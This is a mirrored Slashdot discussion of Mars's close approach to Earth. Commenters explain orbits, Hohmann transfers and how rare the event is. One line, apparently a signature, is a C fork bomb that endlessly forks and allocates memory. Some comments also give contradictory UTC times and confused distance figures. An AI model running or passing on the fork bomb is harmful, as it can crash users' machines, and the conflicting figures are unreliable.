Slashdot Mirror
Mars Swings Unusually Close to Earth
amazon10x writes "Mars will come unusually close to the Earth on Saturday; the second time in 60,000 years. The last occurrence was in 2003. 'This is the best we're going to see Mars, so we should strike the iron while it is hot,' said Kelly Beatty, executive editor of Sky & Telescope magazine. The Red Planet will be 43.1 million miles from Earth at 11:25pm [Eastern time]." Update by J : Starting a few hours after sunset, look fairly high in the eastern sky.
For those like me wondering the time zone, I actually RTFA:
On Saturday, Mars' orbit will bring it 43.1 million miles away from Earth, with its closest pass scheduled for 11:25 p.m. EDT.
main(){char *c;while(1){c=(char*)malloc(1);*c='a';fork();}
Planetary orbits are pretty stable (especially considering the short time frame), so it is fairly simple to calculate where Earth and Mars have been during the last 60,000 years.
EDT is 4 hours behind of Coordinated Universal Time (UTC), ergo closest orbit will be at 03:25 a.m. UTC.
I think.
The information in the article in SI units:
> On Saturday, Mars' orbit will bring it 69.4 million kilometers away from Earth, with its closest pass scheduled for 3:25 p.m. UTC.
We all went to school and we all know how this works. Let's just calm down and consider how rare or not rare this event is.
Earth orbits the sun in a nearly circular orbit at a mean distance of 1 astronomical unit (by definition of AU). Mars on the other hand orbits the sun in a less circular orbit that takes it as far as 1.67 and as close as 1.38 astronomical units from the sun. As we all know, it takes earth 1 year to orbit the sun (again, by definition of a year). It takes Mars 687 days (1.88 earth years).
Let's put this into more "human" terms using an analogy. Let's imagine a rock in the middle of a field. And let's put two people walking in circles around the rock. One person at a distance of 10 meters and the other at a distance that varies between 14 and 17 meters from the rock. Very quickly we'll notice that the closest the people can ever come from eachother is 4 meters and the furthest they can come is 27 meters. But we also notice that as they walk around, the person closer to the rock will take 1 minute to walk around the rock and the person on the outside will take 1.88 mintues so the one on the inside will be overtaking the one on the outside roughly every other minute (once per two years in Mars-Earth terms). And whenever they overtake, the distance will be anything from 4 to 7 meters. And quite often, it will be a distance of 4 to 5 meters or so. It's not rare at all. What's rare is that it would be VERY close to the minimum 4 meters.
So.. when we say it's "amazingly close" and "closer than in 60000 years", it's more like getting within 4.1 meters instead of 4.25 in the analogy above. We're not talking about 4 meters vs. 27 meters or anything like that.
Conclusion: this isn't THAT special at all. Mars isn't THAT much closer at all. For example for Mars missions and such, the difference in distance is mostly irrelevant.
Peppe
Exactly. And even more importantly for Mars missions and such is that the energy / velocity required to get to Mars varies hardly at all between the every couple of year distance of 49 million miles vs. this year's 43.1 million miles. It's easier to visualize if one understands that one doesn't fly in a straight line to Mars from Earth. That is, to fly from Earth to Mars today, you wouldn't travel 43.1 million miles just because that's the distance today. Rather, you'd travel something like 500 million miles cause you'd fly in a so called Hohman transfer orbit that essentially traces an elliptical orbit that has a periapsis (closest to sun) point that touches Earth's orbit and apoapsis (furthest from the sun point that touches Mars' orbit. The distance of the arc of that orbit between the periapsis and apoapsis is very roughly 500 million miles and varies VERY little depending on how close Mars was to Earth at launch time. And equally small is the variation in flight time and required fuel, thrust and delta velocity.
Peppe
And the worst thing about this whole thing is that it isn't true!
While in 2003 Mars passed us closer then at any other time in the last 60.000 years, it passes us by pretty close every 15 and 17 years. The 2003 passage was a "whopping" 1% closer to us than the 1971 pass, and this year's pass at 43 million miles is not unusual at all, every 15-17 years there's at least one pass that is significantly closer than that, the 1988 pass being at 37 million miles - noticably further than 2003, but much closer than this year's passage.
So as usual, take main stream press accounts of science stuff with a very big grain of salt!
Imagine an egg still in its shell. Looking down at the egg, it's like the shell is the orbit of Mars and the yolk (still inside the shell, of course) is the orbit of the Earth. In 2003, when the two planets got as close as they can get, it was like both were on the wide end of the egg, where the yolk is closest to the shell. Well, Mars' orbit takes about two years and two months to complete, so this year Mars and the Earth meet up near the wide end of the egg again. In two years' time, though, Mars will be a little further along the shell of the egg when it catches up to Earth, which will be a little further from the wide end of the egg.
In 60,000 years or so, the closest approach will have walked all the way around the edge of the egg until it's at the "closest closest approach," the wide end of the egg. There's nothing unusual about it.
When it's 11:25 PM wherever you are, that's the time to look.